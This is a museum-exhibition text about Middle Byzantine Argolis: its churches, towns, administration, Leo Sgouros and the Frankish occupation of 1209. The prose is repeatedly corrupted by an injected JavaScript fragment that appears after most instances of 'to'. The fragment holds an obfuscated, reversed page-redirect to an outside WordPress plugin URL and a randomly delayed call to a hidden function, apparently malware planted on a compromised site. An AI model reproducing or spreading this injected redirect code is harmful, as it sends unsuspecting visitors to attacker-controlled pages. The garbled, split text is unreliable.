Middle Byzantine Argolis

The third section, which constitutes the nucleus of the Exhibition, is dedicated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the various aspects of Byzantine Argolis (Church: the Hub of Public Life; At the Market of Byzantine Argolis; Life at the Byzantine Home).

Starting from the mid-9th century, following the troubled transitional period, the Byzantine state entered a new era of growth, consolidating both its territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tories and its medieval features. The old cities of the empire changed in form and function. Relocated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to more fortified positions, they were now protected by powerful walls. These fortress-states retained their prominence as administrative and economic centres.

Argolis belonged administratively toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the ‘Theme of the Peloponnese’. It featured a diocese based in Argos, which was later promoted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to metropolis. The great Byzantine churches of the region and, mainly, the personalities who served the Argolic Church — the most prominent among them being the Bishop of Argos Agios Petros (10th c.) — attest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the region’s importance for the Byzantium.

Argos retained its status as the great medieval centre of the Argolic basin. Nauplion was steadily growing, primarily as a port, but toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towards the end of the 12th century it started toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to play an increasingly active role in the region, led by the legendary lord Leo Sgouros.

In the aftermath of the Fourth Crusade and following the breakdown of the Byzantine state, Argolis was occupied by the Franks in 1209. This marked the definitive end of the Byzantine era for the region.